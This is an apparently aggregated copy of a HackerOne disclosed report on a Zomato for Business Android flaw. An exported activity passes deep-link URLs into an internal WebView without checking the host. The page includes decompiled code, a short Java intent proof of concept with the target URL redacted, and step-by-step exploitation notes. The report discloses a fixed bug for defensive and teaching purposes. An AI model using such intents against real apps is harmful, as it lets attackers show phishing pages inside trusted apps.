Skip to content
Mobile Disclosed report Intermediate

[Zomato for Business Android] Vulnerability in exported activity WebView

An exported Android activity in the Zomato for Business app accepts a deep link and passes its URL to an internal WebView without validating the host. A malicious app on the same device could open an attacker-controlled site inside the app's WebView, potentially replacing the app's content with a phishing page.

shell_c0de Follow

Originally disclosed on HackerOne

  • Fixed in 31 hours
  • Disclosed after 2.4 years

Hello, i want to report the vulnerability found, Since the following activity com.application.zomatomerchant.home.HomeSalt has exported="true" it can be exploited by another application.

###Application Information

Application: Zomato for Business Package Name: com.application.zomatomerchant Version: 4.2.5 Version Status: Last Vulnerable class: com.application.zomatomerchant.deeplink.SaltDeepLinkRouterActivity

###Vulnerability

Using a special intent, you can send a malicious url to class com.application.zomatomerchant.ZWebView

Java
public class HomeSalt extends PhiAppCompatActivityWithSimpleToolbar implements C0806a, C0928a {
protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        if (this.f2062r == null) {
            this.f2062r = C0940a.m2184a(this);
        }
        mo7458b(R.layout.home_salt);
        mo7475d(R.string.app_name);
        this.f2061q = (Toolbar) findViewById(R.id.toolbar_simple_root);
        this.f2059o = (DrawerLayout) findViewById(R.id.drawer_layout);
        if (getIntent() != null) {
            Uri data = getIntent().getData();
            if (data != null && m2113a(data.toString())) {
                Bundle extras = getIntent().getExtras();
                if (extras == null || !extras.getBoolean("notification_popup", false)) {
                    mo10440c(data);//put data
//...
 public void mo10440c(Uri uri) {
        if (!C0807b.f1729a.equals(uri)) {
            if (mo10218b(uri)) {
                mo10217a(uri);
            } else {
                SaltDeepLinkRouterActivity.m1755a((Context) this, uri);//put data
//...
public static void m1755a(Context context, Uri uri) {
        Intent intent = new Intent(context, SaltDeepLinkRouterActivity.class);
        intent.setFlags(268435456);
        intent.setData(uri);
        context.startActivity(intent);
    }
//...
 protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        Intent intent = getIntent();
        if (!(intent == null || intent.getData() == null)) {
            Uri data = intent.getData();
            if (mo10218b(data)) {
                mo10217a(data);//put data
//..
 public void mo10217a(Uri uri) {
        if (uri != null) {
            Intent intent;
            C0810e a = C0810e.m1769a((Activity) this);
            String host = uri.getHost();
            List pathSegments = uri.getPathSegments();
            int size = pathSegments != null ? pathSegments.size() : 0;
         
                } else if (!C2150af.m6783a(uri.getScheme()) && uri.getScheme().startsWith("http")) {
                    intent = new Intent(this, ZWebView.class);//load url
                    intent.putExtra("open_external", true);
                    intent.putExtra(NativeProtocol.IMAGE_URL_KEY, uri.toString());//put data

Host check missing. F468292 ###PoC

Java PoC:

Java
Intent intent = new Intent("android.intent.action.VIEW");
intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION|Intent.FLAG_ACTIVITY_NEW_TASK);
intent.setClassName("com.application.zomatomerchant","com.application.zomatomerchant.home.HomeSalt");
intent.setData(Uri.parse("███████/"));
startActivity(intent);

Payload: ██████ ###Fix

Check the host before load to WebView

Impact

XSS/Ability of open arbitrary sites in your internal WebView

Allows you to replace the content in the application on malicious website. The user will not be able to understand the difference.

The vulnerability is included in the Google Play Security Reward Program (section 2 Theft of insecure private date)

Attachments

webviewz.jpg
webviewz.jpg From the original on HackerOne

The original report as published on HackerOne, by shell_c0de. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could open arbitrary sites in the app's internal WebView, potentially performing XSS or replacing app content with a malicious website that the user may not distinguish from the real app.

What the attacker needed

Malicious app installed on the same device

The fix

The app should validate the host of any URI before loading it into the WebView.

How it was found

  1. Create an intent targeting the exported HomeSalt activity.
  2. Set the intent data to a URL controlled by the attacker.
  3. Start the activity, which passes the URL to ZWebView.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Android apps can expose certain screens (activities) so other apps can open them. This app exposed a screen that takes a web address and loads it in an embedded browser without checking where the address points. Another app on the phone could use this to show a fake page inside the real app, tricking the user.

What is Mobile?

Flaws specific to Android and iOS apps: exported components, deep links, WebViews and data left on the device.

More by shell_c0de

View all

5 more disclosed reports, best first.

More from Eternal

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Mobile app vulnerabilities

The lesson behind this report.

Flaws specific to Android and iOS apps: exported components, deep links, WebViews and data left on the device.